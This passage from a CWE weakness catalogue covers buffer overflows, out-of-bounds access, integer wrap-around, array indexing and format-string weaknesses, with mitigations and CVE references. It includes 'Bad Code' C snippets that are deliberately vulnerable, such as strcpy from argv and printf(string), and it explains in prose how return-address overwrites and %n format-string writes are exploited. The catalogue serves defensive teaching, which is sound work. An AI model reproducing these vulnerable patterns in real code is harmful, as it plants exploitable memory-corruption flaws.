Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

Operation

Use a feature like Address Space Layout Randomization (ASLR). This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution.

Operation

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent. This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways.

Other Notes

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is more common to make the workload of an attacker much higher -- for example, by leaving

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V		Page
ChildOf	Wc	20	Improper Input Validation	**700**		14
ChildOf	Wc	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**		144

Nature	Type	ID	Name	V		Page
CanPrecede	W	123	Write-what-where Condition	1000		154
Requires	W	227	Failure to Fulfill API Contract ('API Abuse')	1000		254
Requires	W	242	Use of Inherently Dangerous Function	1000		263
ChildOf	C	633	Weaknesses that Affect Memory	**631**		615
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711		716
ChildOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	**711**		718
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**		727
PeerOf	*W*	*124*	*Boundary Beginning Violation ('Buffer Underwrite')*	*1000*		*155*
CanFollow	*W*	*170*	*Improper Null Termination*	*1000*		*196*
CanFollow	*W*	*190*	*Integer Overflow or Wraparound*	*1000*	*680*	*218*
CanAlsoBe	*W*	*196*	*Unsigned to Signed Conversion Error*	*1000*		*227*
CanFollow	*W*	*231*	*Improper Handling of Extra Values*	*1000*		*257*
ParentOf	*W*	*249*	*Often Misused: Path Manipulation*	*699* ***1000***		*270*
CanFollow	*W*	*416*	*Use After Free*	*1000*		*445*
CanFollow	*W*	*456*	*Missing Initialization*	*1000*		*477*

Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Affected Resources

- Memory

Functional Areas

- Memory Management

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unbounded Transfer ('classic overflow')
7 Pernicious Kingdoms			Buffer Overflow
CLASP			Buffer overflow
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A5	CWE More Specific	Buffer Overflows
CERT C Secure Coding	STR35-C		Do not copy data from an unbounded source to a fixed-length array

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
42	MIME Conversion	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	
67	String Format Overflow in syslog()	
92	Forced Integer Overflow	
100	Overflow Buffers	

White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:

1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

References

Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.

Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.

Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

Arjan van de Ven. "Limiting buffer overflows with ExecShield". < http://www.redhat.com/magazine/009jul05/features/execshield/ >.

"PaX". < http://en.wikipedia.org/wiki/PaX >.

CWE-121: Stack-based Buffer Overflow

Weakness ID: 121 *(Weakness Variant)* **Status:** Draft

Description

Summary

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Alternate Terms

Stack Overflow

"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Access Control

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

Very High

Demonstrative Examples

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

C Example: *Bad Code*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
  char buf[BUFSIZE];
  strcpy(buf, argv[1]);
}
```

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Implement and perform bounds checking on input.

Do not use dangerous functions such as gets. Seek for their safe equivalent which checks for boundary.

Operational: Use OS-level preventative functionality. Not a complete solution.

Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which he places arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Other Notes

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Stack overflow

White Box Definitions

A buffer overflow where the buffer from the Buffer Write Operation is statically allocated

CWE-122: Heap-based Buffer Overflow

Weakness ID: 122 *(Weakness Variant)* **Status:** Draft

Description

Summary

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Access Control

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

High to Very High

Demonstrative Examples

C Example: *Bad Code*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
  char *buf;
  buf = (char *)malloc(BUFSIZE);
  strcpy(buf, argv[1]);
}
```

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

Implement and perform bounds checking on input.

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Operational: Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
CanFollow	WE	*190*	*Integer Overflow or Wraparound*	*1000*	*218*
CanFollow	WW	*195*	*Signed to Unsigned Conversion Error*	*1000*	*226*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Relationship Notes
Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.

Affected Resources
- Memory

Causal Nature
Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Heap overflow

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
92	Forced Integer Overflow	

White Box Definitions
A buffer overflow where the buffer from the Buffer Write Operation is dynamically allocated

CWE-123: Write-what-where Condition

Weakness ID: 123 *(Weakness Base)* **Status:** Draft

Description
Summary
Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C
- C++

Common Consequences
Access Control

Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability

Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.

Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
High

Potential Mitigations
Pre-design: Use a language that provides appropriate memory abstractions.

Architecture and Design

Integrate technologies that try to prevent the consequences of this problem.

Implementation

Take note of mitigations provided for other flaws in this taxonomy that lead to write-what-where conditions.

Operational: Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
PeerOf		134	Uncontrolled Format String	1000	164
CanFollow		*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	*1000*	*148*
CanFollow		*364*	*Signal Handler Race Condition*	*1000*	*388*
PeerOf		*415*	*Double Free*	*1000*	*442*
CanFollow		*416*	*Use After Free*	*1000*	*445*
PeerOf		*479*	*Unsafe Function Call from a Signal Handler*	*1000*	*502*
CanFollow		*590*	*Free of Memory not on the Heap*	*1000*	*581*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Write-what-where condition

CWE-124: Boundary Beginning Violation ('Buffer Underwrite')

Weakness ID: 124 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software allows a condition where buffers are written to using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

Extended Description

This typically occurs when indexes are negative numbers or when pointer arithmetic results in a position before the beginning of the valid memory location. This can occur when a negative number is used as an offset, or if the pointer or its index is decremented to a position before the buffer.

Alternate Terms

buffer underrun

Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

Access Control
If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.

Other
When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit
Medium

Demonstrative Examples
The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

C Example: *Bad Code*

```
int main() {
  ...
  strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
  ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2004-2620	Buffer underflow due to mishandled special characters
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow.
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow.
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)

Potential Mitigations
Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation
Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

Weakness Ordinalities
Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
PeerOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	148
PeerOf		129	Unchecked Array Indexing	1000	160
CanAlsoBe		*196*	*Unsigned to Signed Conversion Error*	*1000*	*227*

Relationship Notes

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

Research Gaps

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	UNDER - Boundary beginning violation ('buffer underflow'?)
CLASP	Buffer underwrite

References

"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10. < http://seclists.org/vuln-dev/2004/Jan/0022.html >.

CWE-125: Out-of-bounds Read

Weakness ID: 125 *(Weakness Base)* **Status:** Draft

Description

Summary

The software reads data past the end, or before the beginning, of the intended buffer.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Observed Examples

Reference	Description
CVE-2004-0112	out-of-bounds read due to improper length check
CVE-2004-0183	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0184	out-of-bounds read, resultant from integer underflow
CVE-2004-0221	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0421	malformed image causes out-of-bounds read
CVE-2004-1940	large length value causes out-of-bounds read

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
ParentOf	Ww	*126*	*Buffer Over-read*	***699*** ***1000***	*157*
ParentOf	Ww	*127*	*Buffer Under-read*	***699*** ***1000***	*158*

Research Gaps

Under-studied and under-reported. Most issues are probably labeled as buffer overflows.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Out-of-bounds Read

CWE-126: Buffer Over-read

Weakness ID: 126 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software reads data past the end of the intended buffer.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	125	Out-of-bounds Read	**699 1000**	157
CanFollow	We	*170*	*Improper Null Termination*	*1000*	*196*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Buffer over-read

CWE-127: Buffer Under-read

Weakness ID: 127 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software reads data before the start of the intended buffer.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	125	Out-of-bounds Read	**699 1000**	157

Research Gaps

Under-studied.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Buffer under-read

CWE-128: Wrap-around Error

Weakness ID: 128 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*

Common Consequences

Availability

Wrap-around errors generally lead to undefined behavior, infinite loops, and therefore crashes.

Integrity

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Access control (instruction processing): A wrap around can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit

Medium

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

Implementation

Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

Background Details

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will fail to recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
PeerOf	We	190	Integer Overflow or Wraparound	1000	218
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727

Relationship Notes

The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Wrap-around error
CERT C Secure Coding	MEM07-C	Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
92	Forced Integer Overflow	

CWE-129: Unchecked Array Indexing

Weakness ID: 129 *(Weakness Base)* **Status:** Draft

Description

Summary

Unchecked array indexing occurs when an unchecked value is used as an index into a buffer.

Alternate Terms

out-of-bounds array index

index-out-of-range

array index underflow

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Unchecked array indexing will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area

Integrity

If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.

Access Control

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.

Likelihood of Exploit

Medium

Demonstrative Examples

In the code snippet below, an unchecked integer value is used to reference an object in an array.

Java Example: *Bad Code*

```
public String getValue(int index) {
  return array[index];
}
```

Observed Examples

Reference	Description
CVE-2001-1009	negative array index as argument to POP LIST command
CVE-2003-0721	Integer signedness error leads to negative array index
CVE-2004-1189	product does not properly track a count and a maximum number, which can lead to resultant array index overflow.
CVE-2005-0369	large ID in packet used as array index

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation

Include sanity checks to ensure the validity of any values used as index variables. In loops, use greater-than-or-equal-to, or less-than-or-equal-to, as opposed to simply greater-than, or less-than compare statements.

Other Notes

A single fault could allow both an overflow and underflow of the array index.

An index overflow exploit might use buffer overflow techniques, but this can often be exploited without having to provide "large inputs."

Array index overflows can also trigger out-of-bounds read operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result.

Unchecked array indexing, depending on its instantiation, can be responsible for any number of related issues. Most prominent of these possible flaws is the buffer overflow condition. Due to this fact, consequences range from denial of service, and data corruption, to full blown arbitrary code execution. The most common condition situation leading to unchecked array indexing is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	**699** **1000**	144
ChildOf	Category	189	Numeric Errors	699	217
ChildOf	Category	633	Weaknesses that Affect Memory	**631**	615
ChildOf	Category	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	Category	740	CERT C Secure Coding Section 06 - Arrays (ARR)	734	726
PeerOf	Weakness	*124*	*Boundary Beginning Violation ('Buffer Underwrite')*	*1000*	*155*

Affected Resources

- Memory

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unchecked array indexing
PLOVER		INDEX - Array index overflow
CERT C Secure Coding	ARR00-C	Understand how arrays work
CERT C Secure Coding	ARR30-C	Guarantee that array indices are within the valid range
CERT C Secure Coding	ARR38-C	Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure Coding	INT32-C	Ensure that operations on signed integers do not result in overflow

CWE-130: Improper Handling of Length Parameter Inconsistency

Weakness ID: 130 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software does not handle or incorrectly handles incoming data that contains a length or size field that is inconsistent with the actual length of the associated data.

Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

Alternate Terms

length manipulation

length tampering

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- All

Observed Examples

Reference	Description
CVE-2000-0655	
CVE-2001-0191	
CVE-2001-0825	
CVE-2001-1186	
CVE-2002-1235	length field of a request not verified
CVE-2002-1357	
CVE-2003-0327	
CVE-2003-0345	
CVE-2003-0429	
CVE-2003-0825	can overlap zero-length issues
CVE-2004-0095	
CVE-2004-0201	
CVE-2004-0413	leads to memory consumption, integer overflow, and heap overflow
CVE-2004-0430	
CVE-2004-0492	
CVE-2004-0568	
CVE-2004-0774	
CVE-2004-0808	
CVE-2004-0826	
CVE-2004-0940	is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.
CVE-2004-0989	
CVE-2005-0064	
CVE-2005-3184	buffer overflow by modifying a length value
SECUNIA:18747	length field inconsistency crashes cell phone

Potential Mitigations

Do not let the user control the size of the buffer.

Validate that the length of the user supplied data is not inconsistent with the buffer size.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	118	Improper Access of Indexable Resource ('Range Error')	**699**	143
ChildOf	We	240	Improper Handling of Inconsistent Structural Elements	**1000**	262

Relationship Notes

This probably overlaps other categories including zero-length issues.

Causal Nature

Implicit

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Length Parameter Inconsistency

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
47	Buffer Overflow via Parameter Expansion	

CWE-131: Incorrect Calculation of Buffer Size

Weakness ID: 131 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Observed Examples

Reference	Description
CVE-2001-0248	expansion overflow: long pathname + glob = overflow
CVE-2001-0249	expansion overflow: long pathname + glob = overflow
CVE-2001-0334	expansion overflow: buffer overflow using wildcards
CVE-2002-0184	special characters in argument are not properly expanded
CVE-2002-1347	multiple variants
CVE-2003-0899	transformation overflow: buffer overflow when expanding ">" to ">", etc.
CVE-2004-0434	small length value leads to heap overflow
CVE-2004-0747	substitution overflow: buffer overflow using expansion of environment variables
CVE-2004-0940	needs closer investigation, but probably expansion-based
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed
CVE-2005-0490	needs closer investigation, but probably expansion-based
CVE-2005-2103	substitution overflow: buffer overflow using a large number of substitution strings
CVE-2005-3120	transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length

Potential Mitigations

Check the parameter types of your allocation function and the size of the memory unit.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Wc	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	699 1000	144
ChildOf	Wc	682	Incorrect Calculation	**699** **1000**	673
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Other length calculation error
CERT C Secure Coding	MEM35-C	Allocate sufficient memory for an object

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
47	Buffer Overflow via Parameter Expansion	

Maintenance Notes

This is a broad category. Some examples include: (1) simple math errors, (2) incorrectly updating parallel counters, (3) not accounting for size differences when "transforming" one input to another

format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

Weakness ID: 132 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-133: String Errors

Category ID: 133 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to the creation and modification of strings.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	**699**	14
ParentOf	We	*134*	*Uncontrolled Format String*	*699*	*164*
ParentOf	We	*135*	*Incorrect Calculation of Multi-Byte String Length*	***699***	*167*
ParentOf	C	*251*	*Often Misused: String Management*	*699*	*274*
ParentOf	Wv	*597*	*Use of Wrong Operator in String Comparison*	*699*	*586*

CWE-134: Uncontrolled Format String

Weakness ID: 134 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses externally-controlled format strings in printf-style functions, which can lead to buffer overflows or data representation problems.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*
- Perl *(Rarely)*
- Languages that support format strings

Modes of Introduction

The programmer rarely intends for a format string to be user-controlled at all. This weakness is frequently introduced in code that constructs log messsages, where a constant format string is omitted.

In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

Common Consequences

Confidentiality

Format string problems allow for information disclosure which can severely simplify exploitation of the program.

Access Control

Format string problems can result in the execution of arbitrary code.

Likelihood of Exploit

Very High

Detection Factors

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

Demonstrative Examples

Example 1:

The following example is exploitable, due to the printf() call in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

C Example:

Bad Code

```
#include <stdio.h>
void printWrapper(char *string) {
  printf(string);
}
int main(int argc, char **argv) {
  char buf[5012];
  memcpy(buf, argv[1], 5012);
  printWrapper(argv[1]);
  return (0);
}
```

Example 2:

The following code copies a command line argument into a buffer using snprintf().

Bad Code

```
int main(int argc, char **argv){
  char buf[128];
  ...
  snprintf(buf,128,argv[1]);
}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

Bad Code

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

